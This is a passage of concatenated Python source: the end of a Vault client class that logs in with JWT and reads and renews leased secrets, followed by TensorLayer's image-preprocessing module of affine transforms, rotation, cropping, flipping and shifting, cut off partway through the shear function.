Login") login_result_json: str login_path = f"/v1/auth/{self.__auth_path}/login" vault_login_jwt_data = {"role": self.__auth_role, "jwt": jwt} login_result = http_post( self.__vault_addr + login_path, data=vault_login_jwt_data, ) if login_result and dotted_get("auth.client_token", login_result): self.__vault_token_lease_time = datetime.now() self.__vault_token = dotted_get("auth.client_token", login_result) self.__vault_accessor = dotted_get("auth.accessor", login_result) self.__vault_token_lease_duration = dotted_get( "auth.lease_duration", login_result ) self.__vault_policies = dotted_get("auth.policies", login_result) self.__authenticated = True return True return False def __read_element(self, path: str, key: str) -> Optional[Dict[str, Any]]: current_time = datetime.now() if not path or not key: return None if path[0] != "/": path = "/" + path if not self.__authenticated: self.login() if self.__vault_token_lease_duration > 0: seconds_since_token_lease = ( datetime.now() - self.__vault_token_lease_time ).seconds if float(seconds_since_token_lease) > ( float(self.__vault_token_lease_duration) * (2.0 / 3.0) ): self.login() if path not in self.__secrets.keys(): logging.debug("Secret is new") self.__secrets[path] = VaultClient.VaultSecret(path=path) secret: VaultClient.VaultSecret = self.__secrets[path] if not secret.leased: # No lease yet self.__secrets[path] = self.__get_secret(secret) else: if not self.__secrets[path].lease_time: raise ValueError("Missing existing secret value when checking lease.") assert isinstance(self.__secrets[path].lease_time, datetime) assert isinstance(current_time, datetime) seconds_since_secret_lease = ( current_time - self.__secrets[path].lease_time # type: ignore ).seconds if seconds_since_secret_lease >= self.__secrets[path].lease_duration: # type: ignore # Lease expired self.__secrets[path] = self.__get_secret(secret) elif float(seconds_since_secret_lease) > ( float(secret.lease_duration) * (2.0 / 3.0) ): if secret.renewable: if not self.__secrets[path].update_lock: self.__secrets[path].update_lock = True self.__renew_secret(secret) else: # Lease is not renewable if not self.__secrets[path].update_lock: self.__secrets[path].update_lock = True self.__update_secret(secret) else: # Not expired and not ready for renewal yet pass if not self.__secrets[path].value: raise ValueError("Missing secret value after being read.") if self.__secrets[path].leased: return dotted_get(key, self.__secrets[path].value) # type: ignore else: return None def __get_secret(self, secret: "VaultSecret"): vault_headers = {"X-Vault-Token": self.__vault_token} secret_response = http_get( self.__vault_addr + "/v1" + secret.path, headers=vault_headers ) if secret_response: secret.lease_time = datetime.now() secret.value = secret_response secret.leased = True if dotted_get("renewable", secret_response): secret.renewable = dotted_get("renewable", secret_response) if dotted_get("lease_duration", secret_response): secret.lease_duration = dotted_get("lease_duration", secret_response) else: secret.lease_duration = self.__default_kvv2_ttl # Implement TTL support for KV V2 if dotted_get("data.data.ttl", secret_response): secret.lease_duration = int( dotted_get("data.data.ttl", secret_response) ) if dotted_get("lease_id", secret_response): secret.lease_id = dotted_get("lease_id", secret_response) return secret def __renew_secret(self, secret: "VaultSecret"): renewer = VaultClient.VaultSecretRenewThread(parent=self, secret=secret) renewer.start() def __update_secret(self, secret: "VaultSecret"): updater = VaultClient.VaultSecretUpdateThread(parent=self, secret=secret) updater.start() @dataclass class VaultSecret: path: str value: Optional[Dict[Any, Any]] = None lease_id: Optional[str] = None lease_time: Optional[datetime] = None lease_duration: int = 0 leased: Optional[bool] = False renewable: Optional[bool] = False update_lock: Optional[bool] = False class VaultSecretUpdateThread(threading.Thread): def __init__(self, parent, secret: "VaultClient.VaultSecret"): self.parent = parent self.secret = secret thread = threading.Thread(target=self.run, args=()) thread.daemon = True super().__init__() def run(self): self.parent._VaultClient__secrets[ self.secret.path ] = self.parent._VaultClient__get_secret(self.secret) self.parent._VaultClient__secrets[self.secret.path].update_lock = False class VaultSecretRenewThread(threading.Thread): def __init__(self, parent, secret: "VaultClient.VaultSecret"): self.parent = parent self.secret = secret thread = threading.Thread(target=self.run, args=()) thread.daemon = True super().__init__() def run(self): vault_headers = {"X-Vault-Token": self.parent._VaultClient__vault_token} renewal_data = { "lease_id": self.secret.lease_id, "increment": self.secret.lease_duration, } secret_response = http_post( self.parent._VaultClient__vault_addr + "/v1/sys/leases/renew", headers=vault_headers, data=renewal_data, ) if secret_response and dotted_get("lease_id", secret_response): self.secret.lease_time = datetime.now() self.secret.lease_id = dotted_get("lease_id", secret_response) self.secret.renewable = dotted_get("renewable", secret_response) self.secret.lease_duration = dotted_get( "lease_duration", secret_response ) self.secret.update_lock = False self.parent._VaultClient__secrets[self.secret.path] = self.secret
prepro.py
#! /usr/bin/python # -*- coding: utf-8 -*- import copy import threading import time import numpy as np import tensorlayer as tl import scipy import scipy.ndimage as ndi from scipy import linalg from scipy.ndimage.filters import gaussian_filter from scipy.ndimage.interpolation import map_coordinates import skimage from skimage import exposure from skimage import transform from skimage.morphology import disk from skimage.morphology import erosion as _erosion from skimage.morphology import binary_dilation as _binary_dilation from skimage.morphology import binary_erosion as _binary_erosion from six.moves import range from tensorlayer.lazy_imports import LazyImport import PIL cv2 = LazyImport("cv2") import math import random # linalg https://docs.scipy.org/doc/scipy/reference/linalg.html # ndimage https://docs.scipy.org/doc/scipy/reference/ndimage.html __all__ = [ 'threading_data', 'affine_rotation_matrix', 'affine_horizontal_flip_matrix', 'affine_shift_matrix', 'affine_shear_matrix', 'affine_zoom_matrix', 'affine_respective_zoom_matrix', 'transform_matrix_offset_center', 'affine_transform', 'affine_transform_cv2', 'affine_transform_keypoints', 'projective_transform_by_points', 'rotation', 'rotation_multi', 'crop', 'crop_multi', 'flip_axis', 'flip_axis_multi', 'shift', 'shift_multi', 'shear', 'shear_multi', 'shear2', 'shear_multi2', 'swirl', 'swirl_multi', 'elastic_transform', 'elastic_transform_multi', 'zoom', 'respective_zoom', 'zoom_multi', 'brightness', 'brightness_multi', 'illumination', 'rgb_to_hsv', 'hsv_to_rgb', 'adjust_hue', 'imresize', 'pixel_value_scale', 'samplewise_norm', 'featurewise_norm', 'get_zca_whitening_principal_components_img', 'zca_whitening', 'channel_shift', 'channel_shift_multi', 'drop', 'array_to_img', 'find_contours', 'pt2map', 'binary_dilation', 'dilation', 'binary_erosion', 'erosion', 'obj_box_coords_rescale', 'obj_box_coord_rescale', 'obj_box_coord_scale_to_pixelunit', 'obj_box_coord_centroid_to_upleft_butright', 'obj_box_coord_upleft_butright_to_centroid', 'obj_box_coord_centroid_to_upleft', 'obj_box_coord_upleft_to_centroid', 'parse_darknet_ann_str_to_list', 'parse_darknet_ann_list_to_cls_box', 'obj_box_left_right_flip', 'obj_box_imresize', 'obj_box_crop', 'obj_box_shift', 'obj_box_zoom', 'pad_sequences', 'remove_pad_sequences', 'process_sequences', 'sequences_add_start_id', 'sequences_add_end_id', 'sequences_add_end_id_after_pad', 'sequences_get_mask', 'keypoint_random_crop', 'keypoint_resize_random_crop', 'keypoint_random_rotate', 'keypoint_random_flip', 'keypoint_random_resize', 'keypoint_random_resize_shortestedge', ] def threading_data(data=None, fn=None, thread_count=None, **kwargs): """Process a batch of data by given function by threading. Usually be used for data augmentation. Parameters ----------- data : numpy.array or others The data to be processed. thread_count : int The number of threads to use. fn : function The function for data processing. more args : the args for `fn` Ssee Examples below. Examples -------- Process images. >>> images, _, _, _ = tl.files.load_cifar10_dataset(shape=(-1, 32, 32, 3)) >>> images = tl.prepro.threading_data(images[0:32], tl.prepro.zoom, zoom_range=[0.5, 1]) Customized image preprocessing function. >>> def distort_img(x): >>> x = tl.prepro.flip_axis(x, axis=0, is_random=True) >>> x = tl.prepro.flip_axis(x, axis=1, is_random=True) >>> x = tl.prepro.crop(x, 100, 100, is_random=True) >>> return x >>> images = tl.prepro.threading_data(images, distort_img) Process images and masks together (Usually be used for image segmentation). >>> X, Y --> [batch_size, row, col, 1] >>> data = tl.prepro.threading_data([_ for _ in zip(X, Y)], tl.prepro.zoom_multi, zoom_range=[0.5, 1], is_random=True) data --> [batch_size, 2, row, col, 1] >>> X_, Y_ = data.transpose((1,0,2,3,4)) X_, Y_ --> [batch_size, row, col, 1] >>> tl.vis.save_image(X_, 'images.png') >>> tl.vis.save_image(Y_, 'masks.png') Process images and masks together by using ``thread_count``. >>> X, Y --> [batch_size, row, col, 1] >>> data = tl.prepro.threading_data(X, tl.prepro.zoom_multi, 8, zoom_range=[0.5, 1], is_random=True) data --> [batch_size, 2, row, col, 1] >>> X_, Y_ = data.transpose((1,0,2,3,4)) X_, Y_ --> [batch_size, row, col, 1] >>> tl.vis.save_image(X_, 'after.png') >>> tl.vis.save_image(Y_, 'before.png') Customized function for processing images and masks together. >>> def distort_img(data): >>> x, y = data >>> x, y = tl.prepro.flip_axis_multi([x, y], axis=0, is_random=True) >>> x, y = tl.prepro.flip_axis_multi([x, y], axis=1, is_random=True) >>> x, y = tl.prepro.crop_multi([x, y], 100, 100, is_random=True) >>> return x, y >>> X, Y --> [batch_size, row, col, channel] >>> data = tl.prepro.threading_data([_ for _ in zip(X, Y)], distort_img) >>> X_, Y_ = data.transpose((1,0,2,3,4)) Returns ------- list or numpyarray The processed results. References ---------- - `python queue <https://pymotw.com/2/Queue/index.html#module-Queue>`__ - `run with limited queue <http://effbot.org/librarybook/queue.htm>`__ """ def apply_fn(results, i, data, kwargs): results[i] = fn(data, **kwargs) if thread_count is None: results = [None] * len(data) threads = [] # for i in range(len(data)): # t = threading.Thread(name='threading_and_return', target=apply_fn, args=(results, i, data[i], kwargs)) for i, d in enumerate(data): t = threading.Thread(name='threading_and_return', target=apply_fn, args=(results, i, d, kwargs)) t.start() threads.append(t) else: divs = np.linspace(0, len(data), thread_count + 1) divs = np.round(divs).astype(int) results = [None] * thread_count threads = [] for i in range(thread_count): t = threading.Thread( name='threading_and_return', target=apply_fn, args=(results, i, data[divs[i]:divs[i + 1]], kwargs) ) t.start() threads.append(t) for t in threads: t.join() if thread_count is None: try: return np.asarray(results) except Exception: return results else: return np.concatenate(results) def affine_rotation_matrix(angle=(-20, 20)): """Create an affine transform matrix for image rotation. NOTE: In OpenCV, x is width and y is height. Parameters ----------- angle : int/float or tuple of two int/float Degree to rotate, usually -180 ~ 180. - int/float, a fixed angle. - tuple of 2 floats/ints, randomly sample a value as the angle between these 2 values. Returns ------- numpy.array An affine transform matrix. """ if isinstance(angle, tuple): theta = np.pi / 180 * np.random.uniform(angle[0], angle[1]) else: theta = np.pi / 180 * angle rotation_matrix = np.array([[np.cos(theta), np.sin(theta), 0], \ [-np.sin(theta), np.cos(theta), 0], \ [0, 0, 1]]) return rotation_matrix def affine_horizontal_flip_matrix(prob=0.5): """Create an affine transformation matrix for image horizontal flipping. NOTE: In OpenCV, x is width and y is height. Parameters ---------- prob : float Probability to flip the image. 1.0 means always flip. Returns ------- numpy.array An affine transform matrix. """ factor = np.random.uniform(0, 1) if prob >= factor: filp_matrix = np.array([[ -1. , 0., 0. ], \ [ 0., 1., 0. ], \ [ 0., 0., 1. ]]) return filp_matrix else: filp_matrix = np.array([[ 1. , 0., 0. ], \ [ 0., 1., 0. ], \ [ 0., 0., 1. ]]) return filp_matrix def affine_vertical_flip_matrix(prob=0.5): """Create an affine transformation for image vertical flipping. NOTE: In OpenCV, x is width and y is height. Parameters ---------- prob : float Probability to flip the image. 1.0 means always flip. Returns ------- numpy.array An affine transform matrix. """ factor = np.random.uniform(0, 1) if prob >= factor: filp_matrix = np.array([[ 1. , 0., 0. ], \ [ 0., -1., 0. ], \ [ 0., 0., 1. ]]) return filp_matrix else: filp_matrix = np.array([[ 1. , 0., 0. ], \ [ 0., 1., 0. ], \ [ 0., 0., 1. ]]) return filp_matrix def affine_shift_matrix(wrg=(-0.1, 0.1), hrg=(-0.1, 0.1), w=200, h=200): """Create an affine transform matrix for image shifting. NOTE: In OpenCV, x is width and y is height. Parameters ----------- wrg : float or tuple of floats Range to shift on width axis, -1 ~ 1. - float, a fixed distance. - tuple of 2 floats, randomly sample a value as the distance between these 2 values. hrg : float or tuple of floats Range to shift on height axis, -1 ~ 1. - float, a fixed distance. - tuple of 2 floats, randomly sample a value as the distance between these 2 values. w, h : int The width and height of the image. Returns ------- numpy.array An affine transform matrix. """ if isinstance(wrg, tuple): tx = np.random.uniform(wrg[0], wrg[1]) * w else: tx = wrg * w if isinstance(hrg, tuple): ty = np.random.uniform(hrg[0], hrg[1]) * h else: ty = hrg * h shift_matrix = np.array([[1, 0, tx], \ [0, 1, ty], \ [0, 0, 1]]) return shift_matrix def affine_shear_matrix(x_shear=(-0.1, 0.1), y_shear=(-0.1, 0.1)): """Create affine transform matrix for image shearing. NOTE: In OpenCV, x is width and y is height. Parameters ----------- shear : tuple of two floats Percentage of shears for width and height directions. Returns ------- numpy.array An affine transform matrix. """ # if len(shear) != 2: # raise AssertionError( # "shear should be tuple of 2 floats, or you want to use tl.prepro.shear rather than tl.prepro.shear2 ?" # ) # if isinstance(shear, tuple): # shear = list(shear) # if is_random: # shear[0] = np.random.uniform(-shear[0], shear[0]) # shear[1] = np.random.uniform(-shear[1], shear[1]) if isinstance(x_shear, tuple): x_shear = np.random.uniform(x_shear[0], x_shear[1]) if isinstance(y_shear, tuple): y_shear = np.random.uniform(y_shear[0], y_shear[1]) shear_matrix = np.array([[1, x_shear, 0], \ [y_shear, 1, 0], \ [0, 0, 1]]) return shear_matrix def affine_zoom_matrix(zoom_range=(0.8, 1.1)): """Create an affine transform matrix for zooming/scaling an image's height and width. OpenCV format, x is width. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). zoom_range : float or tuple of 2 floats The zooming/scaling ratio, greater than 1 means larger. - float, a fixed ratio. - tuple of 2 floats, randomly sample a value as the ratio between these 2 values. Returns ------- numpy.array An affine transform matrix. """ if isinstance(zoom_range, (float, int)): scale = zoom_range elif isinstance(zoom_range, tuple): scale = np.random.uniform(zoom_range[0], zoom_range[1]) else: raise Exception("zoom_range: float or tuple of 2 floats") zoom_matrix = np.array([[scale, 0, 0], \ [0, scale, 0], \ [0, 0, 1]]) return zoom_matrix def affine_respective_zoom_matrix(w_range=0.8, h_range=1.1): """Get affine transform matrix for zooming/scaling that height and width are changed independently. OpenCV format, x is width. Parameters ----------- w_range : float or tuple of 2 floats The zooming/scaling ratio of width, greater than 1 means larger. - float, a fixed ratio. - tuple of 2 floats, randomly sample a value as the ratio between 2 values. h_range : float or tuple of 2 floats The zooming/scaling ratio of height, greater than 1 means larger. - float, a fixed ratio. - tuple of 2 floats, randomly sample a value as the ratio between 2 values. Returns ------- numpy.array An affine transform matrix. """ if isinstance(h_range, (float, int)): zy = h_range elif isinstance(h_range, tuple): zy = np.random.uniform(h_range[0], h_range[1]) else: raise Exception("h_range: float or tuple of 2 floats") if isinstance(w_range, (float, int)): zx = w_range elif isinstance(w_range, tuple): zx = np.random.uniform(w_range[0], w_range[1]) else: raise Exception("w_range: float or tuple of 2 floats") zoom_matrix = np.array([[zx, 0, 0], \ [0, zy, 0], \ [0, 0, 1]]) return zoom_matrix # affine transform def transform_matrix_offset_center(matrix, x, y): """Convert the matrix from Cartesian coordinates (the origin in the middle of image) to Image coordinates (the origin on the top-left of image). Parameters ---------- matrix : numpy.array Transform matrix. x and y : 2 int Size of image. Returns ------- numpy.array The transform matrix. Examples -------- - See ``tl.prepro.rotation``, ``tl.prepro.shear``, ``tl.prepro.zoom``. """ o_x = (x - 1) / 2.0 o_y = (y - 1) / 2.0 offset_matrix = np.array([[1, 0, o_x], [0, 1, o_y], [0, 0, 1]]) reset_matrix = np.array([[1, 0, -o_x], [0, 1, -o_y], [0, 0, 1]]) transform_matrix = np.dot(np.dot(offset_matrix, matrix), reset_matrix) return transform_matrix def affine_transform(x, transform_matrix, channel_index=2, fill_mode='nearest', cval=0., order=1): """Return transformed images by given an affine matrix in Scipy format (x is height). Parameters ---------- x : numpy.array An image with dimension of [row, col, channel] (default). transform_matrix : numpy.array Transform matrix (offset center), can be generated by ``transform_matrix_offset_center`` channel_index : int Index of channel, default 2. fill_mode : str Method to fill missing pixel, default `nearest`, more options `constant`, `reflect` or `wrap`, see `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ cval : float Value used for points outside the boundaries of the input if mode='constant'. Default is 0.0 order : int The order of interpolation. The order has to be in the range 0-5: - 0 Nearest-neighbor - 1 Bi-linear (default) - 2 Bi-quadratic - 3 Bi-cubic - 4 Bi-quartic - 5 Bi-quintic - `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ Returns ------- numpy.array A processed image. Examples -------- >>> M_shear = tl.prepro.affine_shear_matrix(intensity=0.2, is_random=False) >>> M_zoom = tl.prepro.affine_zoom_matrix(zoom_range=0.8) >>> M_combined = M_shear.dot(M_zoom) >>> transform_matrix = tl.prepro.transform_matrix_offset_center(M_combined, h, w) >>> result = tl.prepro.affine_transform(image, transform_matrix) """ # transform_matrix = transform_matrix_offset_center() # asdihasid # asd x = np.rollaxis(x, channel_index, 0) final_affine_matrix = transform_matrix[:2, :2] final_offset = transform_matrix[:2, 2] channel_images = [ ndi.interpolation. affine_transform(x_channel, final_affine_matrix, final_offset, order=order, mode=fill_mode, cval=cval) for x_channel in x ] x = np.stack(channel_images, axis=0) x = np.rollaxis(x, 0, channel_index + 1) return x apply_transform = affine_transform def affine_transform_cv2(x, transform_matrix, flags=None, border_mode='constant'): """Return transformed images by given an affine matrix in OpenCV format (x is width). (Powered by OpenCV2, faster than ``tl.prepro.affine_transform``) Parameters ---------- x : numpy.array An image with dimension of [row, col, channel] (default). transform_matrix : numpy.array A transform matrix, OpenCV format. border_mode : str - `constant`, pad the image with a constant value (i.e. black or 0) - `replicate`, the row or column at the very edge of the original is replicated to the extra border. Examples -------- >>> M_shear = tl.prepro.affine_shear_matrix(intensity=0.2, is_random=False) >>> M_zoom = tl.prepro.affine_zoom_matrix(zoom_range=0.8) >>> M_combined = M_shear.dot(M_zoom) >>> result = tl.prepro.affine_transform_cv2(image, M_combined) """ rows, cols = x.shape[0], x.shape[1] if flags is None: flags = cv2.INTER_AREA if border_mode is 'constant': border_mode = cv2.BORDER_CONSTANT elif border_mode is 'replicate': border_mode = cv2.BORDER_REPLICATE else: raise Exception("unsupport border_mode, check cv.BORDER_ for more details.") return cv2.warpAffine(x, transform_matrix[0:2,:], \ (cols,rows), flags=flags, borderMode=border_mode) def affine_transform_keypoints(coords_list, transform_matrix): """Transform keypoint coordinates according to a given affine transform matrix. OpenCV format, x is width. Note that, for pose estimation task, flipping requires maintaining the left and right body information. We should not flip the left and right body, so please use ``tl.prepro.keypoint_random_flip``. Parameters ----------- coords_list : list of list of tuple/list The coordinates e.g., the keypoint coordinates of every person in an image. transform_matrix : numpy.array Transform matrix, OpenCV format. Examples --------- >>> # 1. get all affine transform matrices >>> M_rotate = tl.prepro.affine_rotation_matrix(angle=20) >>> M_flip = tl.prepro.affine_horizontal_flip_matrix(prob=1) >>> # 2. combine all affine transform matrices to one matrix >>> M_combined = dot(M_flip).dot(M_rotate) >>> # 3. transfrom the matrix from Cartesian coordinate (the origin in the middle of image) >>> # to Image coordinate (the origin on the top-left of image) >>> transform_matrix = tl.prepro.transform_matrix_offset_center(M_combined, x=w, y=h) >>> # 4. then we can transfrom the image once for all transformations >>> result = tl.prepro.affine_transform_cv2(image, transform_matrix) # 76 times faster >>> # 5. transform keypoint coordinates >>> coords = [[(50, 100), (100, 100), (100, 50), (200, 200)], [(250, 50), (200, 50), (200, 100)]] >>> coords_result = tl.prepro.affine_transform_keypoints(coords, transform_matrix) """ coords_result_list = [] for coords in coords_list: coords = np.asarray(coords) coords = coords.transpose([1, 0]) coords = np.insert(coords, 2, 1, axis=0) # print(coords) # print(transform_matrix) coords_result = np.matmul(transform_matrix, coords) coords_result = coords_result[0:2, :].transpose([1, 0]) coords_result_list.append(coords_result) return coords_result_list def projective_transform_by_points( x, src, dst, map_args=None, output_shape=None, order=1, mode='constant', cval=0.0, clip=True, preserve_range=False ): """Projective transform by given coordinates, usually 4 coordinates. see `scikit-image <http://scikit-image.org/docs/dev/auto_examples/applications/plot_geometric.html>`__. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). src : list or numpy The original coordinates, usually 4 coordinates of (width, height). dst : list or numpy The coordinates after transformation, the number of coordinates is the same with src. map_args : dictionary or None Keyword arguments passed to inverse map. output_shape : tuple of 2 int Shape of the output image generated. By default the shape of the input image is preserved. Note that, even for multi-band images, only rows and columns need to be specified. order : int The order of interpolation. The order has to be in the range 0-5: - 0 Nearest-neighbor - 1 Bi-linear (default) - 2 Bi-quadratic - 3 Bi-cubic - 4 Bi-quartic - 5 Bi-quintic mode : str One of `constant` (default), `edge`, `symmetric`, `reflect` or `wrap`. Points outside the boundaries of the input are filled according to the given mode. Modes match the behaviour of numpy.pad. cval : float Used in conjunction with mode `constant`, the value outside the image boundaries. clip : boolean Whether to clip the output to the range of values of the input image. This is enabled by default, since higher order interpolation may produce values outside the given input range. preserve_range : boolean Whether to keep the original range of values. Otherwise, the input image is converted according to the conventions of img_as_float. Returns ------- numpy.array A processed image. Examples -------- Assume X is an image from CIFAR-10, i.e. shape == (32, 32, 3) >>> src = [[0,0],[0,32],[32,0],[32,32]] # [w, h] >>> dst = [[10,10],[0,32],[32,0],[32,32]] >>> x = tl.prepro.projective_transform_by_points(X, src, dst) References ----------- - `scikit-image : geometric transformations <http://scikit-image.org/docs/dev/auto_examples/applications/plot_geometric.html>`__ - `scikit-image : examples <http://scikit-image.org/docs/dev/auto_examples/index.html>`__ """ if map_args is None: map_args = {} # if type(src) is list: if isinstance(src, list): # convert to numpy src = np.array(src) # if type(dst) is list: if isinstance(dst, list): dst = np.array(dst) if np.max(x) > 1: # convert to [0, 1] x = x / 255 m = transform.ProjectiveTransform() m.estimate(dst, src) warped = transform.warp( x, m, map_args=map_args, output_shape=output_shape, order=order, mode=mode, cval=cval, clip=clip, preserve_range=preserve_range ) return warped # rotate def rotation( x, rg=20, is_random=False, row_index=0, col_index=1, channel_index=2, fill_mode='nearest', cval=0., order=1 ): """Rotate an image randomly or non-randomly. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). rg : int or float Degree to rotate, usually 0 ~ 180. is_random : boolean If True, randomly rotate. Default is False row_index col_index and channel_index : int Index of row, col and channel, default (0, 1, 2), for theano (1, 2, 0). fill_mode : str Method to fill missing pixel, default `nearest`, more options `constant`, `reflect` or `wrap`, see `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ cval : float Value used for points outside the boundaries of the input if mode=`constant`. Default is 0.0 order : int The order of interpolation. The order has to be in the range 0-5. See ``tl.prepro.affine_transform`` and `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ Returns ------- numpy.array A processed image. Examples --------- >>> x --> [row, col, 1] >>> x = tl.prepro.rotation(x, rg=40, is_random=False) >>> tl.vis.save_image(x, 'im.png') """ if is_random: theta = np.pi / 180 * np.random.uniform(-rg, rg) else: theta = np.pi / 180 * rg rotation_matrix = np.array([[np.cos(theta), -np.sin(theta), 0], [np.sin(theta), np.cos(theta), 0], [0, 0, 1]]) h, w = x.shape[row_index], x.shape[col_index] transform_matrix = transform_matrix_offset_center(rotation_matrix, h, w) x = affine_transform(x, transform_matrix, channel_index, fill_mode, cval, order) return x def rotation_multi( x, rg=20, is_random=False, row_index=0, col_index=1, channel_index=2, fill_mode='nearest', cval=0., order=1 ): """Rotate multiple images with the same arguments, randomly or non-randomly. Usually be used for image segmentation which x=[X, Y], X and Y should be matched. Parameters ----------- x : list of numpy.array List of images with dimension of [n_images, row, col, channel] (default). others : args See ``tl.prepro.rotation``. Returns ------- numpy.array A list of processed images. Examples -------- >>> x, y --> [row, col, 1] greyscale >>> x, y = tl.prepro.rotation_multi([x, y], rg=90, is_random=False) """ if is_random: theta = np.pi / 180 * np.random.uniform(-rg, rg) else: theta = np.pi / 180 * rg rotation_matrix = np.array([[np.cos(theta), -np.sin(theta), 0], [np.sin(theta), np.cos(theta), 0], [0, 0, 1]]) h, w = x[0].shape[row_index], x[0].shape[col_index] transform_matrix = transform_matrix_offset_center(rotation_matrix, h, w) results = [] for data in x: results.append(affine_transform(data, transform_matrix, channel_index, fill_mode, cval, order)) return np.asarray(results) # crop def crop(x, wrg, hrg, is_random=False, row_index=0, col_index=1): """Randomly or centrally crop an image. Parameters ---------- x : numpy.array An image with dimension of [row, col, channel] (default). wrg : int Size of width. hrg : int Size of height. is_random : boolean, If True, randomly crop, else central crop. Default is False. row_index: int index of row. col_index: int index of column. Returns ------- numpy.array A processed image. """ h, w = x.shape[row_index], x.shape[col_index] if (h <= hrg) or (w <= wrg): raise AssertionError("The size of cropping should smaller than the original image") if is_random: h_offset = int(np.random.uniform(0, h - hrg) - 1) w_offset = int(np.random.uniform(0, w - wrg) - 1) # tl.logging.info(h_offset, w_offset, x[h_offset: hrg+h_offset ,w_offset: wrg+w_offset].shape) return x[h_offset:hrg + h_offset, w_offset:wrg + w_offset] else: # central crop h_offset = int(np.floor((h - hrg) / 2.)) w_offset = int(np.floor((w - wrg) / 2.)) h_end = h_offset + hrg w_end = w_offset + wrg return x[h_offset:h_end, w_offset:w_end] # old implementation # h_offset = (h - hrg)/2 # w_offset = (w - wrg)/2 # tl.logging.info(x[h_offset: h-h_offset ,w_offset: w-w_offset].shape) # return x[h_offset: h-h_offset ,w_offset: w-w_offset] # central crop def crop_multi(x, wrg, hrg, is_random=False, row_index=0, col_index=1): """Randomly or centrally crop multiple images. Parameters ---------- x : list of numpy.array List of images with dimension of [n_images, row, col, channel] (default). others : args See ``tl.prepro.crop``. Returns ------- numpy.array A list of processed images. """ h, w = x[0].shape[row_index], x[0].shape[col_index] if (h <= hrg) or (w <= wrg): raise AssertionError("The size of cropping should smaller than the original image") if is_random: h_offset = int(np.random.uniform(0, h - hrg) - 1) w_offset = int(np.random.uniform(0, w - wrg) - 1) results = [] for data in x: results.append(data[h_offset:hrg + h_offset, w_offset:wrg + w_offset]) return np.asarray(results) else: # central crop h_offset = (h - hrg) / 2 w_offset = (w - wrg) / 2 results = [] for data in x: results.append(data[h_offset:h - h_offset, w_offset:w - w_offset]) return np.asarray(results) # flip def flip_axis(x, axis=1, is_random=False): """Flip the axis of an image, such as flip left and right, up and down, randomly or non-randomly, Parameters ---------- x : numpy.array An image with dimension of [row, col, channel] (default). axis : int Which axis to flip. - 0, flip up and down - 1, flip left and right - 2, flip channel is_random : boolean If True, randomly flip. Default is False. Returns ------- numpy.array A processed image. """ if is_random: factor = np.random.uniform(-1, 1) if factor > 0: x = np.asarray(x).swapaxes(axis, 0) x = x[::-1, ...] x = x.swapaxes(0, axis) return x else: return x else: x = np.asarray(x).swapaxes(axis, 0) x = x[::-1, ...] x = x.swapaxes(0, axis) return x def flip_axis_multi(x, axis, is_random=False): """Flip the axises of multiple images together, such as flip left and right, up and down, randomly or non-randomly, Parameters ----------- x : list of numpy.array List of images with dimension of [n_images, row, col, channel] (default). others : args See ``tl.prepro.flip_axis``. Returns ------- numpy.array A list of processed images. """ if is_random: factor = np.random.uniform(-1, 1) if factor > 0: # x = np.asarray(x).swapaxes(axis, 0) # x = x[::-1, ...] # x = x.swapaxes(0, axis) # return x results = [] for data in x: data = np.asarray(data).swapaxes(axis, 0) data = data[::-1, ...] data = data.swapaxes(0, axis) results.append(data) return np.asarray(results) else: return np.asarray(x) else: # x = np.asarray(x).swapaxes(axis, 0) # x = x[::-1, ...] # x = x.swapaxes(0, axis) # return x results = [] for data in x: data = np.asarray(data).swapaxes(axis, 0) data = data[::-1, ...] data = data.swapaxes(0, axis) results.append(data) return np.asarray(results) # shift def shift( x, wrg=0.1, hrg=0.1, is_random=False, row_index=0, col_index=1, channel_index=2, fill_mode='nearest', cval=0., order=1 ): """Shift an image randomly or non-randomly. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). wrg : float Percentage of shift in axis x, usually -0.25 ~ 0.25. hrg : float Percentage of shift in axis y, usually -0.25 ~ 0.25. is_random : boolean If True, randomly shift. Default is False. row_index col_index and channel_index : int Index of row, col and channel, default (0, 1, 2), for theano (1, 2, 0). fill_mode : str Method to fill missing pixel, default `nearest`, more options `constant`, `reflect` or `wrap`, see `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ cval : float Value used for points outside the boundaries of the input if mode='constant'. Default is 0.0. order : int The order of interpolation. The order has to be in the range 0-5. See ``tl.prepro.affine_transform`` and `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ Returns ------- numpy.array A processed image. """ h, w = x.shape[row_index], x.shape[col_index] if is_random: tx = np.random.uniform(-hrg, hrg) * h ty = np.random.uniform(-wrg, wrg) * w else: tx, ty = hrg * h, wrg * w translation_matrix = np.array([[1, 0, tx], [0, 1, ty], [0, 0, 1]]) transform_matrix = translation_matrix # no need to do offset x = affine_transform(x, transform_matrix, channel_index, fill_mode, cval, order) return x def shift_multi( x, wrg=0.1, hrg=0.1, is_random=False, row_index=0, col_index=1, channel_index=2, fill_mode='nearest', cval=0., order=1 ): """Shift images with the same arguments, randomly or non-randomly. Usually be used for image segmentation which x=[X, Y], X and Y should be matched. Parameters ----------- x : list of numpy.array List of images with dimension of [n_images, row, col, channel] (default). others : args See ``tl.prepro.shift``. Returns ------- numpy.array A list of processed images. """ h, w = x[0].shape[row_index], x[0].shape[col_index] if is_random: tx = np.random.uniform(-hrg, hrg) * h ty = np.random.uniform(-wrg, wrg) * w else: tx, ty = hrg * h, wrg * w translation_matrix = np.array([[1, 0, tx], [0, 1, ty], [0, 0, 1]]) transform_matrix = translation_matrix # no need to do offset results = [] for data in x: results.append(affine_transform(data, transform_matrix, channel_index, fill_mode, cval, order)) return np.asarray(results) # shear def shear( x, intensity=0.1, is_random=False, row_index=0, 